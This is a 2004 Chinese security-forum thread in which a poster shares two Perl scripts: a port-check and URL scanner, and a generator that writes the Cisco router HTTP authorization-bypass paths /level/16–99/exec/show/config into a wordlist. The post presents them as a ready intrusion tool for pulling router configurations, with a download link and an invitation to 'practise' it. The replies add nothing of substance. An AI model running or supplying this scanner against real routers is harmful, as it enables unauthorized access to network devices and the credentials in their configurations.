|
![]() | 作者: a_one [a_one]
![]() |
登录 |
scan_cgi的一个用途 writer: demonalex email: demonalex_at_hackermail.com 本无心写scan_cgi这个脚本的,因想测试一下LWP库,却又不知应该弄个什么东东比较好,无聊之下翻了翻 《黑客防线》杂志2004年的2月刊,看了看由Squ4L1大侠所写的“轻轻松松获取Cisco路由器访问权限”,其中 用到了暴露已久的WEB控制构造特殊URL漏洞,漏洞的构造形式如下:http://CISCO系统IP/level/16-99之间其中 一个整数/exec/show/config,抱着‘暴力’的精神与‘大无为’的作风,小神还是把scan_cgi这个没有什么使 用价值的‘东西’弄出来了。 ############################################################################################################ #!usr/bin/perl use LWP; use Socket; example(); $remote_ip=$ARGV[0]; #第一个输入参数为需要扫描的远程IP地址 $remote_port=$ARGV[1] || 80; #第二个为需要扫描的远程主机的端口,默认为TCP80 $pack_host=inet_aton($remote_ip); $pack_all=sockaddr_in($remote_port,$pack_host); socket(SOCK,AF_INET,SOCK_STREAM,6) || die "Can't build the Socket!\n"; $result1=connect(SOCK,$pack_all); if(defined $result1){ print("The $remote_ip:$remote_port is Opened!\n"); close SOCK; }else{ print("The $remote_ip:$remote_port is Closed!\n"); close SOCK; exit 1; } # print("Now is scanning the cgi string in uri.txt...\n\n"); # $host=qq(http://$remote_ip:$remote_port); $agent=LWP::UserAgent->new(); $agent->timeout(10); #用户代理的超时值为10秒 # $uri_input_file="uri.txt"; #URI的默认扫描路径储存文件为同一目录下的uri.txt $log_output_file="cgi.log"; #默认的日志输入文件为同一目录下的cgi.log # open(CONVERT,"<$uri_input_file") || die "Can't open the $uri_input_file(uri string file)...\n"; open(LOG,">>$log_output_file"); do{ $cgi_string=<CONVERT>; chop($cgi_string); $string=qq($host$cgi_string); $request=HTTP::Request->new(GET=>$string); $response=$agent->request($request); if($response->is_success){ print("The $string is existent!\n"); print LOG ("The $string is existent!\n"); } }while(defined $cgi_string); close LOG; close CONVERT; print("\nAll cgi string is scaned in http://$remote_ip:$remote_port,please look up the $log_output_file:)\n"); exit 1; ######################################################### sub example{ print("**************************\n"); print("* CopyRight By DemonAlex *\n"); print("**************************\n"); print("email:demonalex@dark2s.org\n"); print("Example: scan_cgi.exe ip [port]\n"); print("\n"); return; } ######################################################### ############################################################################################################ 做到这里,如果阁下看得懂上面的脚本的话应该可以发现整个暴破找出缺陷URL的入侵过程也只是剩下最主要的 URI储存文件(uri.txt)的路径内容了,如何能写出这个内容呢?交给脚本吧。写了个CISCO的缺陷URL路径字典 库生成器(如下)。 ############################################################################################################ #!usr/bin/perl -w open(URL,">uri.txt"); #与该脚本在同一目录下的uri.txt为CISCO的缺陷URL路径字典库文件 $head='/level/'; $tail='/exec/show/config'; for($a=16;$a<=99;$a++){ $string=qq($head$a$tail); print URL ("$string\n"); undef $string; } close URL; exit 1; ############################################################################################################ 运行上面的脚本后自然会在该脚本的同一目录下生成uri.txt字典文件的了,把它挂到scan_cgi就...... 现在可以说是‘万事俱备,只欠东风’了,好好实践一下吧,朋友,祝您好运:) scan_cgi修正版EXE程序及源代码下载: http://www.ego12.com/demonalex/scan_cgi2/scan_cgi2.rar |
地主 发表时间: 04-06-09 15:43 |
![]() | 回复: lijingxi [lijingxi] ![]() |
登录 |
CGI 俺不会啊! |
B1层 发表时间: 04-06-09 21:34 |
![]() | 回复: kailangq [kailangq] ![]() |
登录 |
![]() |
B2层 发表时间: 04-06-10 00:07 |
![]() | 回复: eagle_1 [eagle_1] ![]() |
登录 |
![]() ![]() ![]() ![]() |
B3层 发表时间: 04-07-12 15:30 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号